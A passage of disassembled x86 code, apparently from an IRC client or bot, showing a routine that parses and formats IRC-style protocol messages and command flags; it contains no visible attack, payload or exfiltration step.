mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov eax, dword_447124
push eax
mov ecx, offset byte_4E6E85
call sub_4017E4
mov ecx, dword_447120
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E0B
add esp, 1Ch
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4102C8: ; CODE XREF: sub_40FF60+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_411320
nop
call near ptr 27F0769h
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CBC
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A87
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447128
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_4103A0
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4473E4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4103A4
loc_4103A0: ; CODE XREF: sub_40FF60+3EAj
mov [esp+20h+var_D], bl
loc_4103A4: ; CODE XREF: sub_40FF60+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4103C6
mov byte ptr [ebp+16h], 1
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4103C6: ; CODE XREF: sub_40FF60+45Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470FC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
push 1
jz short loc_410464
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017E4
push eax
mov eax, dword_447118
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410592
; ---------------------------------------------------------------------------
loc_410464: ; CODE XREF: sub_40FF60+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, dword_447100
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz loc_4105D0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447118
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410597
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017E4
push eax
mov eax, dword_447118
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410592: ; CODE XREF: sub_40FF60+4FFj
call sub_401226
loc_410597: ; CODE XREF: sub_40FF60+5E6j
cmp [ebp+16h], bl
jnz loc_411327
mov ecx, offset byte_44742D
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov ecx, dword_447104
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4105D0: ; CODE XREF: sub_40FF60+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447138
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410652
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44713C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410657
loc_410652: ; CODE XREF: sub_40FF60+69Bj
mov [esp+20h+var_D], 1
loc_410657: ; CODE XREF: sub_40FF60+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4106C4
cmp [ebp+16h], bl
jnz short loc_4106A0
mov ecx, offset byte_44742D
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov edx, dword_447104
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
loc_4106A0: ; CODE XREF: sub_40FF60+713j
mov ecx, offset byte_4E6E85
call sub_4017E4
push eax
mov eax, dword_44710C
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4106C4: ; CODE XREF: sub_40FF60+70Ej
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447114
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz short loc_410775
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_41075D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015D7
loc_41075D: ; CODE XREF: sub_40FF60+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410775: ; CODE XREF: sub_40FF60+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447110
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_4107B0
mov al, byte_447844
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4107B4
loc_4107B0: ; CODE XREF: sub_40FF60+840j
mov [esp+20h+var_D], bl
loc_4107B4: ; CODE XREF: sub_40FF60+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410AC1
push offset asc_443C94 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_410812
mov ecx, eax
call sub_402054
loc_410812: ; CODE XREF: sub_40FF60+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41083E
mov ecx, eax
call sub_4010BE
loc_41083E: ; CODE XREF: sub_40FF60+8D5j
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401A9B
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410AAC
loc_41089F: ; CODE XREF: sub_40FF60+B46j
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_4108C7
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_4108C9
; ---------------------------------------------------------------------------
loc_4108C7: ; CODE XREF: sub_40FF60+95Aj
xor esi, esi
loc_4108C9: ; CODE XREF: sub_40FF60+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4108FB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4108FF
; ---------------------------------------------------------------------------
loc_4108FB: ; CODE XREF: sub_40FF60+98Cj
mov [esp+20h+var_C], ebx
loc_4108FF: ; CODE XREF: sub_40FF60+999j
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013E3
test eax, eax
jz short loc_410922
mov byte ptr [esi+93h], 1
jmp short loc_410928
; ---------------------------------------------------------------------------
loc_410922: ; CODE XREF: sub_40FF60+9B7j
mov [esi+93h], bl
loc_410928: ; CODE XREF: sub_40FF60+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410943
mov byte ptr [esi+94h], 1
jmp short loc_410949
; ---------------------------------------------------------------------------
loc_410943: ; CODE XREF: sub_40FF60+9D8j
mov [esi+94h], bl
loc_410949: ; CODE XREF: sub_40FF60+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410964
mov byte ptr [esi+95h], 1
jmp short loc_41096A
; ---------------------------------------------------------------------------
loc_410964: ; CODE XREF: sub_40FF60+9F9j
mov [esi+95h], bl
loc_41096A: ; CODE XREF: sub_40FF60+A02j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FBE
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_446F70
lea ecx, [esi+54h]
call sub_4015D7
push offset byte_446F70
lea ecx, [esi+3Fh]
call sub_4015D7
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FBE
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017E4
push eax
mov ecx, esi
call sub_4015D7
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DE3
cmp esi, ebx
jz short loc_410A59
push 1
mov ecx, esi
call sub_4019D3
loc_410A59: ; CODE XREF: sub_40FF60+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013D4
inc edi
push offset asc_4435EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41089F
loc_410AAC: ; CODE XREF: sub_40FF60+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410AC1: ; CODE XREF: sub_40FF60+86Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447108
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410DDB
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410B3B
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_410B3D
; ---------------------------------------------------------------------------
loc_410B3B: ; CODE XREF: sub_40FF60+BCEj
xor esi, esi
loc_410B3D: ; CODE XREF: sub_40FF60+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410B6C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410B6E
; ---------------------------------------------------------------------------
loc_410B6C: ; CODE XREF: sub_40FF60+BFFj
xor edi, edi
loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013E3
test eax, eax
jz short loc_410B90
mov byte ptr [esi+95h], 1
jmp short loc_410B96
; ---------------------------------------------------------------------------
loc_410B90: ; CODE XREF: sub_40FF60+C25j
mov [esi+95h], bl
loc_410B96: ; CODE XREF: sub_40FF60+C2Ej
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BB1
mov byte ptr [esi+93h], 1
jmp short loc_410BB7
; ---------------------------------------------------------------------------
loc_410BB1: ; CODE XREF: sub_40FF60+C46j
mov [esi+93h], bl
loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BD2
mov byte ptr [esi+94h], 1
jmp short loc_410BD8
; ---------------------------------------------------------------------------
loc_410BD2: ; CODE XREF: sub_40FF60+C67j
mov [esi+94h], bl
loc_410BD8: ; CODE XREF: sub_40FF60+C70j
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016AE
push offset asc_443C88 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FBE
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C88 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016AE
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FBE
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset dword_4437F8
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016AE
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FBE
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FBE
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410DAD
add eax, 2
push eax
jmp short loc_410DB2
; ---------------------------------------------------------------------------
loc_410DAD: ; CODE XREF: sub_40FF60+E45j
push offset byte_446F70
loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj
mov ecx, esi
call sub_4015D7
push ebx
push esi
mov ecx, edi
call sub_401DE3
cmp esi, ebx
jz short loc_410DCF
push 1
mov ecx, esi
call sub_4019D3
loc_410DCF: ; CODE XREF: sub_40FF60+E64j
mov ecx, edi
call sub_4013D4
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_40FF60+BADj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44712C
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410FB0
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push edx
call sub_4016AE
mov ecx, offset word_448C9E
call sub_401CD0
cmp eax, ebx
jz short loc_410EA2
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push eax
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_443600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016AE
mov ecx, offset word_448C9E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40210D
loc_410EA2: ; CODE XREF: sub_40FF60+EF3j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_4E6E85
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C94 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C88 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401861
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_44742D
mov [ebp+16h], bl
call sub_4017E4
push eax
mov ecx, offset dword_4473E4
call sub_4017E4
mov edx, dword_447104
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_40FF60+EC7j
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447120
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411168
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C88 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_34]
call sub_401861
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
mov esi, dword_50FAF8
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz loc_411153
push offset asc_443C84 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
call esi ; strstr
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401861
push offset byte_446F70
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41113F
push offset byte_446F70
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41113F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
cmp eax, ebx
jz short loc_41111B
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FBE
loc_41111B: ; CODE XREF: sub_40FF60+11A9j
push offset byte_4E6E85
lea ecx, [esp+24h+arg_34]
call sub_401B72
test eax, eax
jnz short loc_41113F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E6E85
push edx
call sub_401FBE
loc_41113F: ; CODE XREF: sub_40FF60+1173j
; sub_40FF60+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411153: ; CODE XREF: sub_40FF60+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_411168: ; CODE XREF: sub_40FF60+109Cj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447130
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4111EF
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447140
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4111F4
loc_4111EF: ; CODE XREF: sub_40FF60+1238j
mov [esp+20h+var_D], 1
loc_4111F4: ; CODE XREF: sub_40FF60+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C9E
call sub_401CD0
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443C94 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_443C88 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C9E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40210D
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_411327
; ---------------------------------------------------------------------------
loc_411320: ; CODE XREF: sub_40FF60+391j
mov ecx, ebp
call sub_401D0C
loc_411327: ; CODE XREF: sub_40FF60+1D3j
; sub_40FF60+253j ...
cmp [ebp+17h], bl
jnz loc_40FFA2
loc_411330: ; CODE XREF: sub_40FF60+3Cj
; sub_40FF60+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40FF60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411860 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402054
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
